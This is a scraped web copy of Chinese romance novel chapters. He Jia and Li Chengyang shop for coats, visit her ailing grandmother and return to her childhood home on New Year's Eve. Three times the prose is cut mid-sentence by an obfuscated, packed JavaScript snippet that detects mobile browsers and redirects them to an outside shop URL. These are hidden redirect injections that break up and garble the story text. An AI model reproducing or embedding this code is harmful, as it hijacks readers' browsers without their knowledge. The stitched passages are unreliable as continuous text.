她听到“嘉嘉”两个字觉得脸红,磕磕绊绊地说:“你,你,你怎么从昨晚开始就叫我‘嘉嘉’了?” “不可以吗,那不然叫‘乖乖’?” “不不不,叫‘乖乖’就更奇怪了。” “哪里怪?怪可爱的?” “嘘。”何嘉立马朝他做出噤声的手势,而他只是笑。 “我要吹头发了,你不要跟我讲话。” “好,吹吧。” 两个人前后收拾好一会儿总算妥当,何嘉今天没有扎头发,长发随意垂在肩上,看上去很温和。李成杨穿了昨天那件白色的外套,整个人很有精神。 何嘉拿好自己的东西,走到门口的时候看向李成杨:“我们,现在是要回安城对吧?” 他开始穿鞋,“不是吗?你不是邀请我和你一起回去吗?” “可是昨天我们好像没有讨论出结果。” 她想起昨晚那件重要的事情还没解决,一下子变得有些亢奋:“我们什么时候说?” 他只说:“不是现在,现在还有别的事情。” “什么?” “先去商场给你买点东西。” “买什么?” “到了你就知道了。” 走之前她又想起什么:“所以,买完东西之后,你还是要和我一起回安城是吗?” “是。你不是都默认了吗?” “我默认什么了?” “嗯,你厉害,对我又亲又咬还不想给我名分。” 何嘉震惊:“我哪有那样?” “哪样?又亲又咬还是不给名分?” 她不理解:“我怎么不给你名分了?” 想了一下更觉得不对:“我什么时候默认要给你名分了?” 他被她这话气了一下:“昨晚呢,我本来是想找你要个名分的,但你不是说昨天不合适吗?所以你现在不应该默认我是你的谁吗?” “你是我的谁?” “我不说,这是你该思考的问题。” 李成杨起身走向厨房,垃圾袋里放了一堆啤酒,他将它们全都包起来准备提出来扔掉。 何嘉放过刚才的问题,又看到了一个新问题:“你怎么把它们都扔了?” 他轻笑,拖长尾音:“我的谁不让我喝,忘记了吗?那天她说我这种喝酒上脸的人,容易痴呆,早、衰。” 这次换何嘉意味深长地看着他:“噢~原来某人还是很怕自己早衰的。” “走了,衰不衰你以后就知道了。” “呸呸呸,我才不要知道。” “行,你最好不想知道,最好不要又大半晚上对我搞偷袭。” “!”何嘉一巴掌拍在他背上,两个人一来一回拌嘴,声音回荡在空旷的走廊上,响亮又美好。 从小区到商场不过十分钟,李成杨将车停好之后,带何嘉直接走上三楼。 三楼主要销售女装,映入眼帘是各种品牌,橱窗的陈列五彩斑斓,各种设计眼花缭乱。 一路上路过好几家品牌,销售非常有礼貌地对他们打招呼。 何嘉突然就知道他想做什么了。 “李成杨,你是要给我买衣服吗?” “嗯。” “为什么要买衣服啊?我有穿的。” 他很自热地解释:“过年不是都要有新衣服吗?这应该是传统。” “可是,我没有这个传统。” “那你现在有了。” 他不知道小姑娘都喜欢什么,随手指了好几家店面:“你喜欢什么?你喜欢什么就买什么。” 何嘉环视一圈,发现整层商场都是她不认识的牌子,看上去都很贵。她只认识其中一家专门卖羽绒服的波司登,但在她的记忆中好像也不便宜。 “我没有什么喜欢的。要不,我陪你逛好了?” “我不用逛。”李成杨坚持:“你选一家,你看哪个顺眼就去哪里看看。” 她在原地犯难,目光扫过那些不认识的品牌,又看看那个唯一认识的波司登,“要不,去逛那里?” 李成杨点头,拉着她往里走。 销售是个非常和蔼的姐姐,她一边引路一边问何嘉:“您好女士,您想看看什样的款式呢?” 何嘉有点紧张:“就随便看看。” “嗯好的,那咱们就先随便逛逛。” 销售没再多问,暂时站在他们旁边,等他们先看。何嘉被她的视线盯得有些不好意思,但忍着没说。 李成杨察觉什么,主动对销售说:“你好,我们想自己看看,等会儿有问题的话会再问你好吗?” 销售连忙接话:“好好,您看,我先在那边等着,一会儿有事再叫我就行。” “嗯。” 销售走了之后,何嘉朝李成杨微笑:“你怎么知道我在想什么?” 他很有自信:“你想什么,我都知道。” 她没接话,开始思考哪件衣服最合适。货架上挂着的款式都很简洁,除了颜色差异大,设计都大差不差。 何嘉走到一件白色的长款外套面前,不经意地瞟了眼价格。 2269?! 默默放下价签,她看向李成杨:“要不,我们换一家?我好像也不是很喜欢这件外套。” 他却取下那件外套:“你喜欢的,去试试。” 她又看了眼旁边的蓝色短款外套,价格1599,也没有便宜多少。 “李成杨,我们先不买衣服可以吗?”何嘉将他手上的外套挂回去,很诚实地说:“我觉得太贵了,你要是给我买的话我心里会有负担的。” 他却面不改色:“你不用有负担,我一个人的时候也用不到几个钱,现在正好用在你身上。去试试吧,今天如果买不到的话,我们走不出这个商场。” 小姑娘面色凝重,拿着刚才那两件外套走进试衣间,将两件外套都试了试。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352309|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何嘉先穿着白色的外套走出来,不确定地问李成杨:“这件怎么样?” 他从来没有见她穿过这么明亮的颜色,感到很新奇。灯光打在女孩的身上,让她整个人看上去一尘不染,不但是干净通透,甚至像是珍珠表面散发的辉光。 “好看,很好看。”他忍不住要一直欣赏。 何嘉被他看得害羞,红着耳朵去换另外一件蓝色的外套。 这件颜色叫做“雾霾蓝”,比上一件更加低调,穿在她身上内敛许多,属于是中规中矩,不会出错的选择。 “这件呢?”她问。 “也很好看。” “那就是等于没有给出意见嘛。” “嗯……我觉得白色的更好看,主要是看你喜欢哪个颜色。” 何嘉想了想,“我也觉得白色更好看,但是有点容易脏,蓝色的整体不错,我也不知道选哪个了。” “那就都买吧。” “啊?”何嘉还没反应过来,李成杨就拿走两件外套,招呼销售过来。 “你好,这两件都要。” 销售眼疾手快:“好的先生,这边结账。” 何嘉在身后愣住,直到李成杨付完之后招呼她:“你想现在穿吗?还是直接明天再说?” 她支支吾吾:“那个,现在,现在穿吧。” “穿哪件?” “白色的那个。” “嗯。”他替她拿出来,又将她原来那件折好放进袋子里,示意她:“走吧,现在去停车场拿车。” 她只觉得头晕目眩,走在他身边的时候特别不真实。 回到车上,何嘉坐在副驾驶默默抠手,李成杨感觉她情绪不高,不知道是不是因为衣服的事情。 “还在担心刚才的事情?” 何嘉安静一会儿,慢吞吞开口:“我还是觉得很别扭,花你的钱让我感觉很不好意思。” 他笑了:“没有什么不好意思的,我的钱以后都是给你花的。” 她摇摇头:“可是,我们现在还不是那个关系。而且,就算是那个关系,我也觉得不太好。” “嗯?我以为你暂时默认了我们是那个关系。” 她很认真:“我们还没有说清楚呢,就不算是那个关系。” “好,你说不算就不算。”他看着她的眼睛,很认真地说:“但是刚才的事情我想专门再提一下。你花我的钱没有什么不好的,反而非常好。以后你要学会想到我,不管是我的钱还是我的人,只要是能用上我,我都很开心。” “真的吗?” “真的。我比你大那么多,照顾你、给你花钱理所应当,所以你用我的钱很正常,你不要有负担,相反,你要习惯,毕竟以后都会是这样。” 何嘉还是觉得不能心安理得:“可是刚才一下子就花了快四千,我好心疼。” 他无所谓:“没关系,我卡上还是有点钱的。” “多少钱?” “跑快递一个月八千,饭店将近是它的六七倍吧。” “等下。”何嘉怔住,“你说的饭店,是指一个月的利润吗?” “嗯。” “嗯?嗯?那你还送什么快递??” “习惯了,总要找点事做。” 这…… 她猛然想起以前张壅说过,餐饮做的好,基本是暴利,但她也没想到这么多啊。 “那,那你是有点钱的。” 他装作保守的样子:“还行,供你挥霍还是很充足的。” 她却记起什么不得了的事情:“那你一个月才给我开三千五??” “兼职生嘛,平均工资。” “好吧。我想起自己还欠你钱呢,我算一下,你从派出所把我捞出来花了三千,给我买生活用品花了……” “别算了。不用在意,我本来就没想让你还。” “为什么?” “因为,我不但助人为乐,还爱护幼小。” “你才没有那么高尚呢,你肯定早就对我图谋不轨了。” 李成杨捏了捏她的脸:“我怎么图谋不轨了?” 何嘉揉揉脸颊,给他分析:“记得你回错房间的那晚吗?那会儿我叫你名字,你一开始抓着我让我‘别闹’,我当时就想你怎么会说这句话呢?后来再想的时候,只找到一个解释。” “什么解释?” “你当时肯定觉得自己在做梦,但为什么看到我的时候一点也不惊讶?因为你早就梦到过我。对不对?” “我不记得了。”他的惯用伎俩。 何嘉继续说:“而且那天之后,你突然对我凶凶的,更加证实了你肯定有问题。你说,那天你到底怎么了?” 李成杨被戳中心事,抬手指了指窗外:“你看,有月亮。” 何嘉真的转头去看,天空艳阳高照。 “李成杨你又耍我!” 他的笑声从她身后低低传来,“没耍你,我就逗逗小朋友,还挺好玩。” 何嘉在他手臂上敲了一棒槌,狠狠道:“老不正经!!!” 39. 第39章 汽车在高速路上行驶,一路上走走停停,原本只要两个小时的路程,现在足足走了四个小时,还正好堵在路上。 何嘉在车上睡了一觉又一觉,被暖气蒸得脸颊发红。 “李成杨,你能不能关一下暖气?” 他关掉空调,递了瓶水给她,“喝一点。” 何嘉咕咚几口,问他:“你不喝水吗?” “车上只有一瓶,在你手上。” “哦,那你不能喝了,这瓶我已经喝过了。” “你喝过了我也可以喝。” “可是我喝过了啊,上面有我的口水。” “我不嫌弃。” 她朝他凑近,努了努嘴:“我也不嫌弃,但是我才不要和你亲嘴。” 他神经一跳:“你说什么?” “你不知道吗?你要是喝了我喝过的瓶口,那不就是间接接吻啦?” 李成杨把她的脸推回去,皱眉:“说什么呢,别乱说。” “我没有乱说,就是这样的。” 他压低声音:“你脑子里一天到晚都在想什么奇怪的东西?” “哪有奇怪?明明是你心思不正。” “我心思不正?”他气笑了:“你知道我怎么才叫心思不正?谁在乎你那什么间接接吻?我只想和你接吻。” “你,你,”何嘉瞪大眼睛,背脊贴在车门上:“你怎么能对我说这些话?” 他瞥她一眼:“你都能说我不能说?” “你之前不是这样的,你把真正的李成杨还给我!” 他朝她俯身:“那不好意思了,我之前就是这样。” “你干嘛?”何嘉捂住自己的嘴巴,“我才不给你亲,你又不是我的谁,你不许亲我。” “怎么?你也不是我的谁,但你前天晚上怎么觊觎我的,忘了?” 她的视线落到他脖子上,虽然他将衣领拉到最高,但动作的时候还是能看到一点旖旎的红色。 小姑娘突然没底气了:“我那是情不自禁。” “嗯,我现在也是情不自禁,不但情不自禁,还难以自持。” “你快点开车啊。”何嘉把他推过去,指着前面开始行驶的车:“可以走了,快点快点。” 他冷哼一声:“不是对手就少撩拨我。” “谁不是你对手了?我只是很正常地叙述一个事实,是你自己说些乱七八糟的话。” “嘘。再抗议的话你就完蛋了。” “我怎么完蛋了?” “你再问一句,等会儿堵车的时候就知道了。” “哦。”她不敢造次了。 又走了一个小时,两人终于抵达安城。 何嘉找好导航让李成杨先开去养老院,顺便再取点现金。 不一会儿,车子停在一家银行门口。 李成杨问何嘉:“怎么还要取钱?” 何嘉说:“今天是年三十,我阿婆的护工还在陪她,我想包个红包感谢一下,毕竟也很多年了。” “好,钱够吗,要我去取一点吗?” “够的,我存了一点,我想用自己的钱。” “嗯,去吧。” 等何嘉走进银行的时候,李成杨也下车跟在她身后,两个人分别站在ATM机前取钱。 何嘉取好之后看到他李成杨的身影,问他:“诶,你怎么也来了?” 他说:“我觉得我也该取点现金,后面可能会用上,反正有备无患。” “也是。”她没多问:“那你先取,我在外面等你。” “好。” 李成杨看着屏幕,很快按了一个数字,没花几分钟就走出去提醒何嘉:“走吧,去买点东西。” “什么东西?” “去你阿婆那里应该买点东西吧。” 她摇头:“不需要的,我阿婆现在都用不上,你不用搞那些礼数。” “不太好。还是买点?” “真的不用。她老人家吃不了也用不上什么,人也不一定醒着,你要一起的话带个人过去就行了。” “好吧。” “嗯。”何嘉领他走进养老院,停在一楼那扇熟悉的门前,她转头看向李成杨,“我先去看看她醒着没,你站在门口等我一下好吗?” “好。” 何嘉推开大门,林桂兰正在帮王丽琼擦手,前者专心致志,后者睁着双眼,似乎是清醒的。 “林姨,我回来了。” 林桂兰马上笑着去迎她:“小嘉回来啦!” 她拉着林姨的手,说过:“林姨你辛苦了,年三十还在这边真的太麻烦你了。” “哎呦,说了不要你跟我说这些!”林桂兰在她手上拍拍:“都多少年了,哪有辛不辛苦的?别再说这种话了啊!” “是啊,都多少年了。” 何嘉细细观察她的容貌,从前利落能干的阿姨已经长了好些白发,现在人过半百,脸上已有风霜。 “林姨,我是真的谢谢你,这么多年要是没有你,我们真是不知道怎么办了,真的谢谢。” 林桂兰看着她合不拢嘴:“小嘉你也算是我看着长大的,林姨知道你懂事,这种话现在说一次就够了啊,以后别这么客气。” “我知道的。”何嘉从包里掏出一个红包:“林姨这是给你的,你收着吧。” “啊?不不不!”林桂兰急忙推脱:“你这是做什么哟?我做的都是我该做的事情,你给我这个做什么?我不要啊,你快点收回去。” “林姨你收着吧,这就是一点心意,没有多少的,你快收着,就当我感谢你的。” “不行,你个小孩子家家的,本来就辛苦,我哪能收你的红包?你快点拿回去。听林姨的,你自己拿着买好吃的啊!” 何嘉坚持,和她犯浑:“林姨,你今天不收的话我不会让你走的!你快点收了吧!” 林桂兰直接往后退,一边退一边摆手:“小嘉你干啥啊?我不收!你听话啊,自己拿去买点好吃的,你兼职本来就不容易,自己好好收着!” “林姨!”何嘉追着她走:“你收着吧,你不收就是不喜欢小嘉了!” 林桂兰失笑:“哎呀你真是的!” “收着吧。”她连忙将红包塞进林桂兰的口袋:“收好噢。大过年的,林姨也去买点好吃的才行。” “好,好。”林桂兰心里感动,拉着何嘉走到王丽琼床边:“老太太,你瞧你家小嘉多懂事啊!怪不得人人都喜欢啊!” 王丽琼面无表情,但仔细一看,眼神里多了一丝细微的情绪。 何嘉知道她想说话但又不能说,于是坐到她身边说:“阿婆,我回来看你了,你今天高不高兴啊?” “……” “我知道你高兴,要是以前你肯定要跟我说好多话,但是现在说不了了,那你就眨眨眼睛好不好?” 王丽琼果然轻微地眨了眨眼。 “诶好!你再叫叫我好不好?”何嘉将耳朵凑到她嘴边:“你叫叫我嘛。” 她很艰难地动了动嘴巴,想尽量发出点声响,但是音调有些含糊不清。 “嗯,我听见了。”何嘉朝她露出一个微笑:“我知道你已经叫了。” 林桂兰也笑了:“你阿婆啊,前几天还和我说了几句话呢,虽然听不清在说啥,但是还是很厉害了!这段时间状态都稳定的,没问题。” 何嘉很高兴:“那就好,那就好。” 他们又聊了几句,何嘉想起门外还有一个人,她告诉林桂兰:“林姨,我带了个人回来。” 林桂兰问:“谁啊?” 她说:“就是我的那个,那个……” “对象是吧?” 小姑娘默默点头:“算是。” 林姨奇了怪:“是就是,怎么还叫‘算是’?” 她笑笑不说话。 林姨没追究:“哎呀,你快让他进来吧,趁你阿婆还醒着,快点让她看看,小嘉都有对象了!快带进来看看!” 何嘉羞得不好意思,慢慢走到门口,打开一条门缝往外看。 李成杨傻站在外面什么也没干。 她说:“你进来吧。” 他跟着她一起进入室内,林桂兰忙着招呼他:“小伙子你好,你就是小嘉的对象啊?” 李成杨很恭敬地点头:“您好,我叫李成杨,您辛苦了。” “瞧瞧你俩都那么客气。”林姨朝何嘉大笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357273|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这小伙子挺好挺好!人长得高,长得又帅!和我们小嘉一样好看,正正相配!” 何嘉脸颊红得像要滴血,恨不得找个地洞钻进去。 “林姨,你别说了……” “哎呦,小嘉害羞啦?”林姨转向李成杨:“这孩子从小就害羞啊。” 李成杨弯唇笑了:“嗯,我也觉得。” “哈哈哈,你们肯定有话要跟老太太单独说说啊,那你们先说着,我出去洗个水果,有事再叫我啊。” 何嘉说:“好,谢谢林姨。” 林姨走之后室内就剩三个人,何嘉拉着李成杨走到王丽琼面前。 她先介绍:“阿婆,这个人,这个人是我的那个,就那个。” 李成杨提醒:“哪个?你说清楚一点,我怕阿婆不清楚。” “你先别说话。” 何嘉拉着王丽琼的手,说:“阿婆,你看到他了吗?他是我喜欢的人,你肯定猜到他是我的谁了对不对?我从来没带别人一起来看过你,所以你肯定懂了,你懂了就眨眨眼睛好吗?” 王丽琼果然眨了眨眼睛。 “你看!”何嘉看向李成杨:“我阿婆可是很聪明的,当年最爱听八卦,所以你刚才进来的时候,她肯定就猜到我们是什么关系了。” “好,你说的对。”李成杨先捏捏她的手,又转向王丽琼自我介绍:“阿婆您好,我是李成杨,现在是嘉嘉喜欢的人。” 何嘉肘击他一拳:“你干嘛说这个?” 他很不解:“你刚刚就是这么说的啊。我以为你不想把我这个人叫做对象。 “那,那好吧。” “嗯。” 李成杨又看向王丽琼:“阿婆你放心,我会好好照顾嘉嘉的,不会让她难过,不会让她孤单,只要我在,我一定会尽力让她开心的。” 王丽琼静静地看着他,有时候会眨眨眼睛。 他继续说:“嘉嘉是特别好的姑娘,遇到她的那天是我觉得最完美的一天。她一直很坚强、很独立,她把自己照顾得特别好,你完全不需要担心她,她就是那么厉害的人。” 他顿了顿,眼神变得柔软:“她总是让我觉得特别幸运、特别快乐。我以前总觉得一个人没有什么不好,但是遇见她之后,竟然让我觉得孤独的每一分每一秒都很难熬。 “是她让我觉得,这个世界上还有很多乐趣可以去探索,以及,这个世界上还有人毫无保留地在乎我。” “所以,我也想让她感到快乐,我想无时无刻都陪着她。虽然快乐不等同于幸福,但我就想陪在她身边,让她感觉自己正在无限趋近于幸福。” “您放心吧,我说过的事情,一定会做到。” 王丽琼眨了眨眼,三个人都长久沉默。 何嘉长舒一口气,觉得鼻尖酸酸的,但是她想到阿婆不喜欢她哭,所以她忍着酸意握住王丽琼的手。 平复了好一会儿之后说:“阿婆,这个人对我很好,我每次有事他都会及时出现,让我觉得很有安全感。他会包容我的不完美、小心思,他给我一种从来都没有过的安定,他就是那个能站在我身后接住我的人。所以,你放心吧,我们会好好的。” 王丽琼又眨了眨眼,这次想开口说些什么。何嘉靠近去听,她试着发出好几个音调,最后只融合成千言万语的一个字—— “好。” “好,阿婆,我听到了。” 何嘉还是没有忍住泪意,捂着嘴静静地哭泣。心里一瞬间酸楚发麻。 阿婆,她说,好。 好。 李成杨轻抚她的背脊,将她的脑袋抵在自己的肩膀上:“嘉嘉,别哭。” “嗯。”她擦掉自己的眼泪,露出一个倔强的微笑:“我不哭。” 王丽琼一直在眨眼,她想说点什么,但最后什么都没说。 她的眼眶在寂静中蓄满池水。 忽然,几滴泪水划过她脸上的皱纹,湿润了枕边的布料,留下几道深浅不一的水痕。 “阿婆,不哭。” 何嘉替她轻轻擦去泪水,像她从前对何嘉说过的那样,重复着:“阿婆,不哭啊,不哭,你要好好的,你听到了吗?好好的,一定要好好的。” 40. 第40章 从病房出来之后,李成杨说要单独和林姨说话,还特意让何嘉出去等一下。 何嘉虽然不知道他要说什么,但照做,一个人站在大厅发呆。 大概过了十多分钟,李成杨走到她身边说:“好了,现在是要走了吗?” 何嘉反问他:“你刚才和她说什么啦?” “没什么。就说了会儿话。” “不对,你跟她不认识呀,你们聊什么还能聊十多分钟?” 他笑笑:“真的就聊了几句。” “你告诉我呀,你现在就对我有秘密了吗?” “不是什么秘密。就是,去给她递了个红包。” “你为什么要给红包?我刚才已经给了啊。” 李成杨解释:“那是你给的,名义上不一样。以后阿婆还需要林姨照顾,所以我也要表示一下。” 何嘉又问:“那你给了多少?” “没多少。” “没多少是多少。” “别问了。” “好吧。”她抿抿嘴唇:“但是你怎么那么周到的?你什么时候想到要给她准备?” 他不敢居功:“是你说要给红包的时候,我突然想起来,自己也应该表示一下。本来想给阿婆买点东西,但是你说她用不上。那我想林姨是天天陪在她身边的,可以多照顾照顾她,送点红包也好,变相是对阿婆的一点心意。” “谢谢你,李成杨。”何嘉很郑重地说:“谢谢你为我和阿婆着想。” “没什么。这是我应该做的。”他揉揉她的脑袋:“你的事情就是我的事情,你不要觉得我越界了就好。” “没有的,没有越界,我很感谢的。” “嗯,那就好,我怕你觉得不舒服。” “不会的。”她看眼时间:“不说这个了,我们先回家吧,这几天要住那里的话得好好收拾一下。” “你家吗,你以前住的房子?” “对,我小时候和阿婆住的,后来就我自己住了。” “好,走吧。” 开了一小时的车,终于回到老房子。 何嘉走在前边,李成杨跟在她身后。穿过一条老旧的长廊,邻居做饭的味道飘出窗外,让人真有种“家”的感觉。 他们停在一扇铁门之前,何嘉拿钥匙开门的时候,李成杨看到门上的小人涂鸦,很好奇地问:“这是你画的?” “对呀,你猜猜是哪个卡通角色。” 李成杨想了好半天,把自己看过的动画片全都想了一遍,才发现自己和她不是同一个时代的人。 何嘉也正好发现这一点,主动提起:“你看过《成龙历险记》吗?” 他摇头:“那会儿我都十八了,已经过了看动画片的年纪。” “好吧。”她指着那个小人说:“这个叫‘小玉’,是里面最酷的女孩,我小时候特别喜欢她。” “为什么喜欢?” “因为很可爱又很酷,非常聪明大胆。” 他弯唇:“你也是,你和她一样。” 她忽然抬头看向他的眼睛:“真的么?” “真的。” 何嘉不说话了,静静地看着他。 这个人,总是随便说些什么,就让她觉得心里非常温暖。 八岁时渴望成为小玉的何嘉,终于在二十二岁被人肯定。尽管是这么简单的一句“你和她一样”,就让她感到人生真是奇妙。 兜兜转转,总有那么一个人正好走到她心上。 “李成杨,你说,你刚才在阿婆那里说的那些话,算不算是告白?” “不算,那是说给阿婆听的,不是说给你听的。” “那你打算什么时候说呀?” “你昨天晚上说,你想今天再听我说。” “那是今天什么时候,是现在吗?” “你想是现在吗?” “我想你晚上的时候再说。” “好,我都听你的。” “嗯。”何嘉带他进入室内,一切都很安静。她指着唯一的房间说:“这就是我以前的房间。” “我可以进去看看吗?” “可以的。” 李成杨走进那间房间,发现室内东西不多,只有一张床和一个衣柜,所有的东西都摆放得很齐整,浅绿色的窗帘透出几抹阳光,正好洒在木床上。 时间在这里流淌,他试着想象她是如何在这里成长,又遇到过哪些好事或烦恼。 窗台上还摆放着一盆枯萎的植物,暗示着属于她的回忆已经很久远了。 他走出卧室,看到她刚好拉开客厅的窗帘,模样静谧美好,是他这些年从未见过的治愈光景。 何嘉察觉他的视线,问他:“怎么啦?” 他摇头:“没有,就是想看看你。” “别看了,你快和我一起去找床被子出来,晚上你要盖的。” 他还没来得及回答,她又说:“等下。你晚上是要住这里的对吧?我好像直接默认了,还没问你呢。” “我住这里的话,你准备怎么安排我?” “你当然是睡沙发了。” “嗯,我想也是。” 她以为他有意见:“你不想睡沙发的话,是想和我一起睡吗?可是我们还不是那个正式的关系呀。” “哦?”李成杨故意逗她:“可是,你刚刚不是说,我是你喜欢的人吗?” 何嘉脸刷地通红:“我那是便于阿婆理解,不是说给你听的。” “那怎么着?你难道不想和喜欢的人一起睡吗?” “我,我……” “我逗你的。”他戳戳何嘉的脸,复而一本正经:“就算你想,我也不能和你睡,这样不好。” 何嘉弹开他的手,“我才没有想和你一起睡,我刚才以为你不想睡沙发才那样问你的。” “那如果我说我想和你一起呢?” “那我也不会同意,我只是礼貌性地问问,表示一下好客之道。” 他无奈:“那倒不必,我睡沙发就好了,刚才的意思就是睡沙发正好。” “那好吧,但是沙发可能有点硬,你要忍忍。” “没关系。” 说罢,两人继续收拾东西。 不知道花了几个小时,房间终于看上去有模有样。何嘉累得瘫在沙发上一动不动,李成杨还在厨房擦洗灶台,不知道他哪来那么多精力,一直忙着都没歇过。 何嘉看了眼外面,天色幽暗,已经过了吃晚饭的时间。 “李成杨,现在都八点了,我们晚饭是在家吃还是出去吃?” “你想在哪儿吃?”他把手上的帕子清晰干净,又问:“你想在家吃我就做,你想出去吃就找个地方,我都可以。” 她想了想:“我想在家里,但是我又不想让你做饭。” “怎么了?我做的饭不好吃?” “不是的,你做饭很好吃,但是你今天开了好久的车,又收拾好久的房间,我怕你累。” “不累,就做个饭而已。” “不行。我们点外卖回来吧,我有点想吃火锅,你有什么想吃的吗?” 李成杨从厨房走出来,把手机递给她:“用我的手机点吧,你想吃什么就点什么,不用考虑我。” “那我就不客气了。”何嘉拿着他的手机,朝他挤眉弄眼:“谢谢成杨哥哥。” 他笑笑,转身继续在厨房里打理。 何嘉点开外卖APP,划了几页挑了家评价不错的火锅,一下子按了好几样自己喜欢的菜,再看价格,非常适中还附带了一个涮锅,简直是完美。 要付钱的时候她对李成杨说:“你忙完了吗?我已经点好了,你过来按一下密码吧。” 他说:“密码739128,你直接买吧。” 何嘉震惊:“你就直接把你的付款密码告诉我啦?万一我知道以后骗你钱怎么办?” 他好笑:“你能骗我什么钱?再说了,被你骗钱我心甘情愿。” “那,你这个密码有什么含义吗?” “没有,就是手势密码的数字版,你自己连一连就知道了。” 何嘉真的连了一下,果然是数字版,符合李成杨简单直接的做事风格。 外卖点好,何嘉还捧着他的手机,突然问他:“我可以玩你的手机吗?” “怎么?”他走到厨房门口:“你想查岗么?” “没有啊,我就是想玩玩。” 他很坦荡:“随便玩,查岗也行,没什么你不能看的,就当提前调研一下你的准对象了。” 她笑了:“那我就玩啦。” “玩吧。” 本来她真的只是想玩玩他的手机,但某人都这么说了,不随便看看简直是天理难容。 何嘉首先点进的APP是微信,来回翻了好几遍,一共只有四十个联系人,每个看上去都很正常。 和他最近聊天的对话框也没有几个,除了她就是张壅和冉舒。 和张壅的聊天记录全是转账消息,那舒舒姐的呢? 她很新奇地点开他们的对话框,里面躺着一连串照片,每张照片里的小姑娘都在微笑。 他们的对话言简意赅,舒舒姐让他转发一下照片,而他只回了一个好。 至于照片里的人,何嘉自己最清楚。 那就是她。 她想到那天,李成杨确实给她转发了这些照片。 这些照片让她一下记起出游那天,他是如何冷漠地拒绝过她,让她现在想到都觉得心脏微微发酸。 大概是联想到什么,她退出微信,点开他的相册。 里面大多是工作照片,快递包裹和面单涵盖了百分之九十九,但有一张照片的色调与它们完全不同,甚至是风格迥异。 何嘉看到它的时候眸子亮了亮,颤着手点将它点开。 那是她刚刚在聊天框看过的某张照片。 女孩骑在马背上朝镜头微笑,身后绿意昂扬,阳光洒在她身上,轻松又治愈。 那一刻的她,正因为初次骑马而感到自豪。她从来都没有这么快乐过,没有这样自由过,那时的她才蓦然发觉,原来生活里还有很多微小却值得尝试的事。 除此之外,她在意的那个人,就在离她不远不近的地方。他坐在树荫下,却全身发光。 她无论如何,都不能将视线从他身上离开。因为他就是那样美好。 心脏一下又一下跳动,何嘉轻轻关掉他的手机,一种很复杂的情绪萦绕在她心尖。 她装作平静地打开电视,发觉每个电视台都在转播春晚。 主持人笑容满面,正在恭贺新年,台下观众有老有少,一片喜气洋洋。这是农历十二月的最后一天,每个人都怀着期许准备迎接新的一年。 电视里的喧嚣充斥着整个房间,让空气都变得温暖起来。 李成杨在这个时候走进客厅,坐在何嘉身边问她:“春晚已经开始了?” 她只点头,默不作响。 他察觉不对,仔细看了看她,见她眸子里浮现出一种他无法一下子解读的情绪。 而他暂且将她这种情绪归为不高兴。 “怎么了?怎么突然不开心了?”他摸了摸她的发顶,很温柔地询问:“刚才是谁让你不开心了?可以和我说说吗?” 何嘉还是沉默,推开他之后猛地起身,一直走到外面的阳台才停下。 李成杨搞不清楚状况,但选择立马去追她的背影。 他走到她身后,很小心地问:“嘉嘉,是我吗?是我做了什么让你突然不高兴了吗?” 何嘉转身向他,目光在他脸上不停流转。 男人和初见那天一样,看向她的时候永远温和包容,他总是这样照顾她、接受她。也正是因为这样,他就算站在那里什么也不做,就能轻易俘获她的心跳。 他就是这样的人,这样无需展示就散发魅力的人。 可是,可是她搞不懂那天,他明明已经拒绝拒绝她了,为什么后来又要偷偷保存她的照片? 她滚动喉咙,眼里说不清是迷茫还是不解更多。然后她终于问出了那个问题,那个她一直搞不懂、思考了很多次都没有结果的问题。 “李成杨。你到底是什么意思?你说过的那些话,你心里的那些想法,到底都是什么意思?我真的搞不明白,我真的搞不明白你这个人,为什么你总是让我猜来猜去?” “什么?”他一下愣住。 “我刚刚看到你的相册保存了我的照片。”何嘉语速很快地质问:“可是那天钓鱼的时候你明明拒绝我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360701|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,是你说你无论遇到谁都会这么照顾她,是你说你只把我当晚辈,是你说让我不要误会。” “那你又为什么要保存我的照片?这几天你又为什么对我那么好?你推开我又抓住我,到底是什么意思?你的忽冷忽热,到底意味着什么?” 女孩的眼里泛起荧光,看着他的眼神有些落寞:“你能不能现在就告诉我?” “嘉嘉。” 李成杨握住她的肩膀,尽量和她保持平视,他想等她平静一些再说,但她推开他的手,朝他露出了一个既脆弱又倔强的笑。 “李成杨,那你先听我说。” “其实我一直都在喜欢你,就算你那天拒绝我,就算你说我对你的感觉都是错觉,我还是在喜欢你。” “后面几天我故意和你保持距离,不是因为我不喜欢你了,而是我害怕让你觉得我的心意是一种麻烦。你送我吹风那天,我真的好想问你为什么,但是我没有,你知道为什么吗?” “……为什么?” 